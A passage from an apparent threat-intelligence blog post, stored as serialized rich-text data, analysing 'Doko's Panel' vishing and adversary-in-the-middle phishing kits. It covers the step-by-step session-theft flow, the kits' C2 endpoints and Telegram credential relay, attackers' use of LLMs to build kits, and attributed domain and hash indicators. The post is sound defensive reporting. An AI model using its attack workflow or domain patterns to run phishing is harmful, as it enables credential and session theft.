again",{"data":3871,"content":3872,"nodeType":866},{},[3873],{"data":3874,"marks":3875,"value":3876,"nodeType":865},{},[],"The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. ",{"data":3878,"content":3882,"nodeType":921},{"target":3879},{"sys":3880},{"id":3881,"type":918,"linkType":919},"2X2YXMpozrbRQhegk7yF1k",[],{"data":3884,"content":3885,"nodeType":944},{},[],{"data":3887,"content":3888,"nodeType":953},{},[3889],{"data":3890,"marks":3891,"value":3893,"nodeType":865},{},[3892],{"type":935},"Inside the panels: what Push found",{"data":3895,"content":3896,"nodeType":866},{},[3897],{"data":3898,"marks":3899,"value":3900,"nodeType":865},{},[],"Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator's perspective — including real victim submission logs from the current week confirming ongoing active operations.",{"data":3902,"content":3906,"nodeType":921},{"target":3903},{"sys":3904},{"id":3905,"type":918,"linkType":919},"5ND0etPs5xN7ejz24l71jy",[],{"data":3908,"content":3909,"nodeType":1229},{},[3910],{"data":3911,"marks":3912,"value":3914,"nodeType":865},{},[3913],{"type":935},"How the attack works",{"data":3916,"content":3917,"nodeType":866},{},[3918],{"data":3919,"marks":3920,"value":3921,"nodeType":865},{},[],"The general sequence of steps is the same across the panels:",{"data":3923,"content":3924,"nodeType":2374},{},[3925,3940,3955,3979,3994,4009,4033],{"data":3926,"content":3927,"nodeType":2309},{},[3928],{"data":3929,"content":3930,"nodeType":866},{},[3931,3936],{"data":3932,"marks":3933,"value":3935,"nodeType":865},{},[3934],{"type":935},"The operator calls the target",{"data":3937,"marks":3938,"value":3939,"nodeType":865},{},[]," spoofing the organization's IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my\u003Ctarget>internal[.]com or \u003Ctarget>sso[.]com — under the pretext of a mandatory security update, passkey enrollment, or support ticket resolution. ",{"data":3941,"content":3942,"nodeType":2309},{},[3943],{"data":3944,"content":3945,"nodeType":866},{},[3946,3951],{"data":3947,"marks":3948,"value":3950,"nodeType":865},{},[3949],{"type":935},"The victim lands on the phishing domain",{"data":3952,"marks":3953,"value":3954,"nodeType":865},{},[]," and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.",{"data":3956,"content":3957,"nodeType":2309},{},[3958],{"data":3959,"content":3960,"nodeType":866},{},[3961,3966,3970,3975],{"data":3962,"marks":3963,"value":3965,"nodeType":865},{},[3964],{"type":935},"The operator accepts the visitor",{"data":3967,"marks":3968,"value":3969,"nodeType":865},{},[]," from the admin panel and ",{"data":3971,"marks":3972,"value":3974,"nodeType":865},{},[3973],{"type":935},"the victim is redirected",{"data":3976,"marks":3977,"value":3978,"nodeType":865},{},[]," to the cloned login page (e.g. Google, Microsoft, Okta).",{"data":3980,"content":3981,"nodeType":2309},{},[3982],{"data":3983,"content":3984,"nodeType":866},{},[3985,3990],{"data":3986,"marks":3987,"value":3989,"nodeType":865},{},[3988],{"type":935},"The victim enters their email address and password",{"data":3991,"marks":3992,"value":3993,"nodeType":865},{},[],", which is forwarded to the operator's Telegram channel. The victim sees a processing spinner on the branded login form.",{"data":3995,"content":3996,"nodeType":2309},{},[3997],{"data":3998,"content":3999,"nodeType":866},{},[4000,4005],{"data":4001,"marks":4002,"value":4004,"nodeType":865},{},[4003],{"type":935},"The operator relays the credentials",{"data":4006,"marks":4007,"value":4008,"nodeType":865},{},[]," to the real identity provider. If they're valid, the attack proceeds. If they're invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — \"Submit SMS OTP,\" \"Submit Gauth OTP,\" or \"Approve [XX] Prompt,\" depending on what the legitimate IdP is presenting.",{"data":4010,"content":4011,"nodeType":2309},{},[4012],{"data":4013,"content":4014,"nodeType":866},{},[4015,4020,4024,4029],{"data":4016,"marks":4017,"value":4019,"nodeType":865},{},[4018],{"type":935},"The victim submits their OTP or approves the push notification ",{"data":4021,"marks":4022,"value":4023,"nodeType":865},{},[],"and",{"data":4025,"marks":4026,"value":4028,"nodeType":865},{},[4027],{"type":935}," the operator relays the OTP",{"data":4030,"marks":4031,"value":4032,"nodeType":865},{},[]," in their own login session, completes authentication, and captures the session. ",{"data":4034,"content":4035,"nodeType":2309},{},[4036],{"data":4037,"content":4038,"nodeType":866},{},[4039,4044],{"data":4040,"marks":4041,"value":4043,"nodeType":865},{},[4042],{"type":935},"The victim is redirected to a benign page",{"data":4045,"marks":4046,"value":4047,"nodeType":865},{},[]," (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.",{"data":4049,"content":4053,"nodeType":921},{"target":4050},{"sys":4051},{"id":4052,"type":918,"linkType":919},"1o0wm3EOd7zSl5MddsNxgL",[],{"data":4055,"content":4059,"nodeType":921},{"target":4056},{"sys":4057},{"id":4058,"type":918,"linkType":919},"7w7SQEn3aITpcgXLMThhbS",[],{"data":4061,"content":4062,"nodeType":866},{},[4063],{"data":4064,"marks":4065,"value":21,"nodeType":865},{},[],{"data":4067,"content":4071,"nodeType":921},{"target":4068},{"sys":4069},{"id":4070,"type":918,"linkType":919},"PJJabY1ZfoCfl8XQ6PMj2",[],{"data":4073,"content":4074,"nodeType":1229},{},[4075],{"data":4076,"marks":4077,"value":4079,"nodeType":865},{},[4078],{"type":935},"Doko’s Panel",{"data":4081,"content":4082,"nodeType":866},{},[4083],{"data":4084,"marks":4085,"value":4086,"nodeType":865},{},[],"Let’s take a closer look at the panels themselves. We'll start with the default version of Doko's Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim's browser and the operator's C2.",{"data":4088,"content":4089,"nodeType":866},{},[4090],{"data":4091,"marks":4092,"value":4093,"nodeType":865},{},[],"The technical indicators that characterize Doko's Panel in its standard form include:",{"data":4095,"content":4096,"nodeType":2374},{},[4097,4112,4127,4142],{"data":4098,"content":4099,"nodeType":2309},{},[4100],{"data":4101,"content":4102,"nodeType":866},{},[4103,4108],{"data":4104,"marks":4105,"value":4107,"nodeType":865},{},[4106],{"type":935},"client.js",{"data":4109,"marks":4110,"value":4111,"nodeType":865},{},[]," containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: 'ping', token, window_id, page, os, browser }. If the response contains a redirect key, the victim's browser navigates to that path. ",{"data":4113,"content":4114,"nodeType":2309},{},[4115],{"data":4116,"content":4117,"nodeType":866},{},[4118,4123],{"data":4119,"marks":4120,"value":4122,"nodeType":865},{},[4121],{"type":935},"sendTelegramMessage()",{"data":4124,"marks":4125,"value":4126,"nodeType":865},{},[]," (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator's Telegram channel.",{"data":4128,"content":4129,"nodeType":2309},{},[4130],{"data":4131,"content":4132,"nodeType":866},{},[4133,4138],{"data":4134,"marks":4135,"value":4137,"nodeType":865},{},[4136],{"type":935},"backend.php",{"data":4139,"marks":4140,"value":4141,"nodeType":865},{},[]," as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).",{"data":4143,"content":4144,"nodeType":2309},{},[4145],{"data":4146,"content":4147,"nodeType":866},{},[4148,4153],{"data":4149,"marks":4150,"value":4152,"nodeType":865},{},[4151],{"type":935},"j.php",{"data":4154,"marks":4155,"value":4156,"nodeType":865},{},[]," as the endpoint for sending Telegram messages, relaying captured credentials and session logs.",{"data":4158,"content":4159,"nodeType":866},{},[4160],{"data":4161,"marks":4162,"value":4163,"nodeType":865},{},[],"Push found that deployments of Doko's Panel had minimal security by default — anyone was able to view the admin panel and manage visitors' connections without authentication.",{"data":4165,"content":4169,"nodeType":921},{"target":4166},{"sys":4167},{"id":4168,"type":918,"linkType":919},"3glwGSGHdCpf3DLqNmQqN8",[],{"data":4171,"content":4175,"nodeType":921},{"target":4172},{"sys":4173},{"id":4174,"type":918,"linkType":919},"20ymWIXMkmJlw7XYb93c9o",[],{"data":4177,"content":4178,"nodeType":1229},{},[4179],{"data":4180,"marks":4181,"value":4183,"nodeType":865},{},[4182],{"type":935},"Panel proliferation and remixes",{"data":4185,"content":4186,"nodeType":866},{},[4187],{"data":4188,"marks":4189,"value":4190,"nodeType":865},{},[],"Access to Doko's Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled \"Lord Mensius's Panel\" targeting Koinly (a cryptocurrency tax platform), and another titled \"$$$\" using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. ",{"data":4192,"content":4193,"nodeType":866},{},[4194],{"data":4195,"marks":4196,"value":4197,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. ",{"data":4199,"content":4200,"nodeType":1229},{},[4201],{"data":4202,"marks":4203,"value":4205,"nodeType":865},{},[4204],{"type":935},"heartbeat/check_redirect variant",{"data":4207,"content":4208,"nodeType":866},{},[4209],{"data":4210,"marks":4211,"value":4212,"nodeType":865},{},[],"In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko's Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:",{"data":4214,"content":4215,"nodeType":2374},{},[4216,4231],{"data":4217,"content":4218,"nodeType":2309},{},[4219],{"data":4220,"content":4221,"nodeType":866},{},[4222,4227],{"data":4223,"marks":4224,"value":4226,"nodeType":865},{},[4225],{"type":935},"Heartbeat",{"data":4228,"marks":4229,"value":4230,"nodeType":865},{},[]," — POST to backend.php with action=heartbeat along with page, token, and window_id.",{"data":4232,"content":4233,"nodeType":2309},{},[4234],{"data":4235,"content":4236,"nodeType":866},{},[4237,4242],{"data":4238,"marks":4239,"value":4241,"nodeType":865},{},[4240],{"type":935},"Check Redirect",{"data":4243,"marks":4244,"value":4245,"nodeType":865},{},[]," — GET to backend.php with parameters action=check_redirect along with token and window_id.",{"data":4247,"content":4248,"nodeType":866},{},[4249],{"data":4250,"marks":4251,"value":4252,"nodeType":865},{},[],"A redirect instruction in response to either request causes the victim's browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. ",{"data":4254,"content":4258,"nodeType":921},{"target":4255},{"sys":4256},{"id":4257,"type":918,"linkType":919},"6zRc9ublZvEQCxcWtMBSnF",[],{"data":4260,"content":4261,"nodeType":866},{},[4262],{"data":4263,"marks":4264,"value":4265,"nodeType":865},{},[],"Additional technical differentiators for this variant include:",{"data":4267,"content":4268,"nodeType":2374},{},[4269,4284,4299],{"data":4270,"content":4271,"nodeType":2309},{},[4272],{"data":4273,"content":4274,"nodeType":866},{},[4275,4280],{"data":4276,"marks":4277,"value":4279,"nodeType":865},{},[4278],{"type":935},"UUID generation",{"data":4281,"marks":4282,"value":4283,"nodeType":865},{},[]," using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko's Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].",{"data":4285,"content":4286,"nodeType":2309},{},[4287],{"data":4288,"content":4289,"nodeType":866},{},[4290,4295],{"data":4291,"marks":4292,"value":4294,"nodeType":865},{},[4293],{"type":935},"No central Telegram sending function",{"data":4296,"marks":4297,"value":4298,"nodeType":865},{},[],", though j.php still exists and is called from inline scripts on individual phishing pages.",{"data":4300,"content":4301,"nodeType":2309},{},[4302],{"data":4303,"content":4304,"nodeType":866},{},[4305,4310],{"data":4306,"marks":4307,"value":4309,"nodeType":865},{},[4308],{"type":935},"No use of FNV-1a",{"data":4311,"marks":4312,"value":4313,"nodeType":865},{},[]," to hash-generate the window ID.",{"data":4315,"content":4316,"nodeType":866},{},[4317],{"data":4318,"marks":4319,"value":4320,"nodeType":865},{},[],"Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).",{"data":4322,"content":4323,"nodeType":1229},{},[4324],{"data":4325,"marks":4326,"value":4328,"nodeType":865},{},[4327],{"type":935},"Revamped admin panel",{"data":4330,"content":4331,"nodeType":866},{},[4332],{"data":4333,"marks":4334,"value":4335,"nodeType":865},{},[],"Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. ",{"data":4337,"content":4341,"nodeType":921},{"target":4338},{"sys":4339},{"id":4340,"type":918,"linkType":919},"3ufb4cotpg0f7yoIQJnND0",[],{"data":4343,"content":4344,"nodeType":866},{},[4345],{"data":4346,"marks":4347,"value":4348,"nodeType":865},{},[],"This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.",{"data":4350,"content":4351,"nodeType":866},{},[4352],{"data":4353,"marks":4354,"value":4355,"nodeType":865},{},[],"In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker's reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.",{"data":4357,"content":4361,"nodeType":921},{"target":4358},{"sys":4359},{"id":4360,"type":918,"linkType":919},"4pg65d1SvTJA3xm6AsxZBp",[],{"data":4363,"content":4364,"nodeType":866},{},[4365],{"data":4366,"marks":4367,"value":4368,"nodeType":865},{},[],"Other capabilities were referenced in the panel's source code but did not appear active in the observed deployment:",{"data":4370,"content":4371,"nodeType":2374},{},[4372,4387],{"data":4373,"content":4374,"nodeType":2309},{},[4375],{"data":4376,"content":4377,"nodeType":866},{},[4378,4383],{"data":4379,"marks":4380,"value":4382,"nodeType":865},{},[4381],{"type":935},"Additional MFA approval pages",{"data":4384,"marks":4385,"value":4386,"nodeType":865},{},[]," for Duo and Okta, with the operator providing a code to display to the victim.",{"data":4388,"content":4389,"nodeType":2309},{},[4390],{"data":4391,"content":4392,"nodeType":866},{},[4393,4398],{"data":4394,"marks":4395,"value":4397,"nodeType":865},{},[4396],{"type":935},"A code execution prompt",{"data":4399,"marks":4400,"value":4401,"nodeType":865},{},[]," to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.",{"data":4403,"content":4404,"nodeType":866},{},[4405],{"data":4406,"marks":4407,"value":4408,"nodeType":865},{},[],"The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).",{"data":4410,"content":4414,"nodeType":921},{"target":4411},{"sys":4412},{"id":4413,"type":918,"linkType":919},"1hebGtxbkyuejWXczwx5n6",[],{"data":4416,"content":4417,"nodeType":944},{},[],{"data":4419,"content":4420,"nodeType":953},{},[4421],{"data":4422,"marks":4423,"value":4425,"nodeType":865},{},[4424],{"type":935},"LLM-generated tells: vibe-coded phishing infrastructure",{"data":4427,"content":4428,"nodeType":866},{},[4429],{"data":4430,"marks":4431,"value":4432,"nodeType":865},{},[],"Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. ",{"data":4434,"content":4435,"nodeType":866},{},[4436],{"data":4437,"marks":4438,"value":4439,"nodeType":865},{},[],"The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.",{"data":4441,"content":4442,"nodeType":866},{},[4443],{"data":4444,"marks":4445,"value":4446,"nodeType":865},{},[],"Some versions of client.js begin with verbose header comments that no human developer would write:",{"data":4448,"content":4452,"nodeType":921},{"target":4449},{"sys":4450},{"id":4451,"type":918,"linkType":919},"01mOiserRBXraawXwQyJNm",[],{"data":4454,"content":4455,"nodeType":866},{},[4456],{"data":4457,"marks":4458,"value":4459,"nodeType":865},{},[],"The \"NOTES FOR NEXT SESSION\" header is particularly telling — it's a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.",{"data":4461,"content":4462,"nodeType":866},{},[4463],{"data":4464,"marks":4465,"value":4466,"nodeType":865},{},[],"The admin panel HTML contains similarly over-documented opening comments:",{"data":4468,"content":4472,"nodeType":921},{"target":4469},{"sys":4470},{"id":4471,"type":918,"linkType":919},"60snRhz0RIsvLI6OU9RDOk",[],{"data":4474,"content":4475,"nodeType":866},{},[4476],{"data":4477,"marks":4478,"value":4479,"nodeType":865},{},[],"One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:",{"data":4481,"content":4485,"nodeType":921},{"target":4482},{"sys":4483},{"id":4484,"type":918,"linkType":919},"1WCd5LQ6cfPf1IsNAhPSIT",[],{"data":4487,"content":4488,"nodeType":866},{},[4489],{"data":4490,"marks":4491,"value":4492,"nodeType":865},{},[],"The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:",{"data":4494,"content":4498,"nodeType":921},{"target":4495},{"sys":4496},{"id":4497,"type":918,"linkType":919},"6WN59mkiscNmAt8dmOR81c",[],{"data":4500,"content":4501,"nodeType":866},{},[4502],{"data":4503,"marks":4504,"value":4505,"nodeType":865},{},[],"The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.",{"data":4507,"content":4508,"nodeType":866},{},[4509],{"data":4510,"marks":4511,"value":4512,"nodeType":865},{},[],"Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.",{"data":4514,"content":4515,"nodeType":944},{},[],{"data":4517,"content":4518,"nodeType":953},{},[4519],{"data":4520,"marks":4521,"value":4523,"nodeType":865},{},[4522],{"type":935},"Infrastructure clustering and attribution",{"data":4525,"content":4526,"nodeType":866},{},[4527,4531,4536],{"data":4528,"marks":4529,"value":4530,"nodeType":865},{},[],"Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, ",{"data":4532,"marks":4533,"value":4535,"nodeType":865},{},[4534],{"type":935},"we’re highlighting four distinct infrastructure clusters associated with this tooling. ",{"data":4537,"marks":4538,"value":4539,"nodeType":865},{},[],"While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":4541,"content":4542,"nodeType":1229},{},[4543],{"data":4544,"marks":4545,"value":4546,"nodeType":865},{},[],"Cluster A",{"data":4548,"content":4549,"nodeType":866},{},[4550,4554,4563],{"data":4551,"marks":4552,"value":4553,"nodeType":865},{},[],"The indicators for Cluster A overlap with ",{"data":4555,"content":4557,"nodeType":889},{"uri":4556},"https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",[4558],{"data":4559,"marks":4560,"value":4562,"nodeType":865},{},[4561],{"type":1191},"Mandiant’s reporting on UNC6661",{"data":4564,"marks":4565,"value":4566,"nodeType":865},{},[],". Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.",{"data":4568,"content":4569,"nodeType":1656},{},[4570,4594,4623,4646,4697,4741,4764,4787],{"data":4571,"content":4572,"nodeType":1563},{},[4573,4584],{"data":4574,"content":4575,"nodeType":1577},{},[4576],{"data":4577,"content":4578,"nodeType":866},{},[4579],{"data":4580,"marks":4581,"value":4583,"nodeType":865},{},[4582],{"type":935},"Tool",{"data":4585,"content":4586,"nodeType":1577},{},[4587],{"data":4588,"content":4589,"nodeType":866},{},[4590],{"data":4591,"marks":4592,"value":4079,"nodeType":865},{},[4593],{"type":935},{"data":4595,"content":4596,"nodeType":1563},{},[4597,4606],{"data":4598,"content":4599,"nodeType":1577},{},[4600],{"data":4601,"content":4602,"nodeType":866},{},[4603],{"data":4604,"marks":4605,"value":4107,"nodeType":865},{},[],{"data":4607,"content":4608,"nodeType":1577},{},[4609,4616],{"data":4610,"content":4611,"nodeType":866},{},[4612],{"data":4613,"marks":4614,"value":4615,"nodeType":865},{},[],"8a01bcb70ec1c101a163c9cb8e074781c1322096f7ae01789f02252854def44c",{"data":4617,"content":4618,"nodeType":866},{},[4619],{"data":4620,"marks":4621,"value":4622,"nodeType":865},{},[],"f574b6e6b3a968cda5f51bec2c090d8eb095fbcfc383314f94bc15676a0d6692",{"data":4624,"content":4625,"nodeType":1563},{},[4626,4636],{"data":4627,"content":4628,"nodeType":1577},{},[4629],{"data":4630,"content":4631,"nodeType":866},{},[4632],{"data":4633,"marks":4634,"value":4635,"nodeType":865},{},[],"Timeframe",{"data":4637,"content":4638,"nodeType":1577},{},[4639],{"data":4640,"content":4641,"nodeType":866},{},[4642],{"data":4643,"marks":4644,"value":4645,"nodeType":865},{},[],"November 2025 - present (April 2026)",{"data":4647,"content":4648,"nodeType":1563},{},[4649,4659],{"data":4650,"content":4651,"nodeType":1577},{},[4652],{"data":4653,"content":4654,"nodeType":866},{},[4655],{"data":4656,"marks":4657,"value":4658,"nodeType":865},{},[],"Domain Patterns",{"data":4660,"content":4661,"nodeType":1577},{},[4662,4669,4676,4683,4690],{"data":4663,"content":4664,"nodeType":866},{},[4665],{"data":4666,"marks":4667,"value":4668,"nodeType":865},{},[],"\u003Ctarget>internal.com\n\u003Ctarget>sso.com",{"data":4670,"content":4671,"nodeType":866},{},[4672],{"data":4673,"marks":4674,"value":4675,"nodeType":865},{},[],"my\u003Ctarget>.com",{"data":4677,"content":4678,"nodeType":866},{},[4679],{"data":4680,"marks":4681,"value":4682,"nodeType":865},{},[],"my\u003Ctarget>internal.com",{"data":4684,"content":4685,"nodeType":866},{},[4686],{"data":4687,"marks":4688,"value":4689,"nodeType":865},{},[],"my\u003Ctarget>manager.com",{"data":4691,"content":4692,"nodeType":866},{},[4693],{"data":4694,"marks":4695,"value":4696,"nodeType":865},{},[],"my\u003Ctarget>sso.com",{"data":4698,"content":4699,"nodeType":1563},{},[4700,4710],{"data":4701,"content":4702,"nodeType":1577},{},[4703],{"data":4704,"content":4705,"nodeType":866},{},[4706],{"data":4707,"marks":4708,"value":4709,"nodeType":865},{},[],"Examples",{"data":4711,"content":4712,"nodeType":1577},{},[4713,4720,4727,4734],{"data":4714,"content":4715,"nodeType":866},{},[4716],{"data":4717,"marks":4718,"value":4719,"nodeType":865},{},[],"mydropboxinternal.com (November 2025)",{"data":4721,"content":4722,"nodeType":866},{},[4723],{"data":4724,"marks":4725,"value":4726,"nodeType":865},{},[],"myxerointernal.com (December 2025)",{"data":4728,"content":4729,"nodeType":866},{},[4730],{"data":4731,"marks":4732,"value":4733,"nodeType":865},{},[],"amazoninternal.com (March 2026)",{"data":4735,"content":4736,"nodeType":866},{},[4737],{"data":4738,"marks":4739,"value":4740,"nodeType":865},{},[],"mydisneysso.com (March 2026)",{"data":4742,"content":4743,"nodeType":1563},{},[4744,4754],{"data":4745,"content":4746,"nodeType":1577},{},[4747],{"data":4748,"content":4749,"nodeType":866},{},[4750],{"data":4751,"marks":4752,"value":4753,"nodeType":865},{},[],"Registrar",{"data":4755,"content":4756,"nodeType":1577},{},[4757],{"data":4758,"content":4759,"nodeType":866},{},[4760],{"data":4761,"marks":4762,"value":4763,"nodeType":865},{},[],"NiceNIC",{"data":4765,"content":4766,"nodeType":1563},{},[4767,4777],{"data":4768,"content":4769,"nodeType":1577},{},[4770],{"data":4771,"content":4772,"nodeType":866},{},[4773],{"data":4774,"marks":4775,"value":4776,"nodeType":865},{},[],"Name Servers",{"data":4778,"content":4779,"nodeType":1577},{},[4780],{"data":4781,"content":4782,"nodeType":866},{},[4783],{"data":4784,"marks":4785,"value":4786,"nodeType":865},{},[],"1984.is FreeDNS",{"data":4788,"content":4789,"nodeType":1563},{},[4790,4800],{"data":4791,"content":4792,"nodeType":1577},{},[4793],{"data":4794,"content":4795,"nodeType":866},{},[4796],{"data":4797,"marks":4798,"value":4799,"nodeType":865},{},[],"Hosting Provider",{"data":4801,"content":4802,"nodeType":1577},{},[4803],{"data":4804,"content":4805,"nodeType":866},{},[4806],{"data":4807,"marks":4808,"value":4809,"nodeType":865},{},[],"Mevspace (AS201814)",{"data":4811,"content":4812,"nodeType":1229},{},[4813],{"data":4814,"marks":4815,"value":4816,"nodeType":865},{},[],"Cluster B",{"data":4818,"content":4819,"nodeType":866},{},[4820,4824,4832,4836,4845],{"data":4821,"marks":4822,"value":4823,"nodeType":865},{},[],"The indicators for Cluster B overlap with ",{"data":4825,"content":4826,"nodeType":889},{"uri":4556},[4827],{"data":4828,"marks":4829,"value":4831,"nodeType":865},{},[4830],{"type":1191},"Mandiant’s reporting on UNC6671",{"data":4833,"marks":4834,"value":4835,"nodeType":865},{},[],". ",{"data":4837,"content":4839,"nodeType":889},{"uri":4838},"https://rhisac.org/threat-intelligence/extortion-in-the-enterprise-defending-against-blackfile-attacks/",[4840],{"data":4841,"marks":4842,"value":4844,"nodeType":865},{},[4843],{"type":1191},"Other external reporting",{"data":4846,"marks":4847,"value":4848,"nodeType":865},{},[]," has linked this group to BlackFile-branded extortion and leaks.",{"data":4850,"content":4851,"nodeType":1656},{},[4852,4875,4918,4940,4975,5018,5040,5062],{"data":4853,"content":4854,"nodeType":1563},{},[4855,4865],{"data":4856,"content":4857,"nodeType":1577},{},[4858],{"data":4859,"content":4860,"nodeType":866},{},[4861],{"data":4862,"marks":4863,"value":4583,"nodeType":865},{},[4864],{"type":935},{"data":4866,"content":4867,"nodeType":1577},{},[4868],{"data":4869,"content":4870,"nodeType":866},{},[4871],{"data":4872,"marks":4873,"value":4205,"nodeType":865},{},[4874],{"type":935},{"data":4876,"content":4877,"nodeType":1563},{},[4878,4887],{"data":4879,"content":4880,"nodeType":1577},{},[4881],{"data":4882,"content":4883,"nodeType":866},{},[4884],{"data":4885,"marks":4886,"value":4107,"nodeType":865},{},[],{"data":4888,"content":4889,"nodeType":1577},{},[4890,4897,4904,4911],{"data":4891,"content":4892,"nodeType":866},{},[4893],{"data":4894,"marks":4895,"value":4896,"nodeType":865},{},[],"c0df36ccf88d5c8434b13b58f7a55a9715643a126148b9d078a93075d09cad26",{"data":4898,"content":4899,"nodeType":866},{},[4900],{"data":4901,"marks":4902,"value":4903,"nodeType":865},{},[],"d178dc7108fa9344dae28e350e810352e9e874563496dc7876ee628b11b0eabb",{"data":4905,"content":4906,"nodeType":866},{},[4907],{"data":4908,"marks":4909,"value":4910,"nodeType":865},{},[],"9c0939960e49122196e44b6779fe55dd7a13ab437ce251c8cf35f8c6daf8be21",{"data":4912,"content":4913,"nodeType":866},{},[4914],{"data":4915,"marks":4916,"value":4917,"nodeType":865},{},[],"e8128b33259f7ea4313c942689ba0ba557f17b1474f2e621c62a5b77674fab86",{"data":4919,"content":4920,"nodeType":1563},{},[4921,4930],{"data":4922,"content":4923,"nodeType":1577},{},[4924],{"data":4925,"content":4926,"nodeType":866},{},[4927],{"data":4928,"marks":4929,"value":4635,"nodeType":865},{},[],{"data":4931,"content":4932,"nodeType":1577},{},[4933],{"data":4934,"content":4935,"nodeType":866},{},[4936],{"data":4937,"marks":4938,"value":4939,"nodeType":865},{},[],"January 2026",{"data":4941,"content":4942,"nodeType":1563},{},[4943,4952],{"data":4944,"content":4945,"nodeType":1577},{},[4946],{"data":4947,"content":4948,"nodeType":866},{},[4949],{"data":4950,"marks":4951,"value":4658,"nodeType":865},{},[],{"data":4953,"content":4954,"nodeType":1577},{},[4955,4962,4969],{"data":4956,"content":4957,"nodeType":866},{},[4958],{"data":4959,"marks":4960,"value":4961,"nodeType":865},{},[],"\u003Ctarget>internal.com",{"data":4963,"content":4964,"nodeType":866},{},[4965],{"data":4966,"marks":4967,"value":4968,"nodeType":865},{},[],"\u003Ctarget>sso.com",{"data":4970,"content":4971,"nodeType":866},{},[4972],{"data":4973,"marks":4974,"value":4696,"nodeType":865},{},[],{"data":4976,"content":4977,"nodeType":1563},{},[4978,4987],{"data":4979,"content":4980,"nodeType":1577},{},[4981],{"data":4982,"content":4983,"nodeType":866},{},[4984],{"data":4985,"marks":4986,"value":4709,"nodeType":865},{},[],{"data":4988,"content":4989,"nodeType":1577},{},[4990,4997,5004,5011],{"data":4991,"content":4992,"nodeType":866},{},[4993],{"data":4994,"marks":4995,"value":4996,"nodeType":865},{},[],"epicgamessso[.]com (December 2025)",{"data":4998,"content":4999,"nodeType":866},{},[5000],{"data":5001,"marks":5002,"value":5003,"nodeType":865},{},[],"myadyeninternal[.]com (January 2026)",{"data":5005,"content":5006,"nodeType":866},{},[5007],{"data":5008,"marks":5009,"value":5010,"nodeType":865},{},[],"mysonossso[.]com (January 2026)",{"data":5012,"content":5013,"nodeType":866},{},[5014],{"data":5015,"marks":5016,"value":5017,"nodeType":865},{},[],"sonosinternal[.]com (January 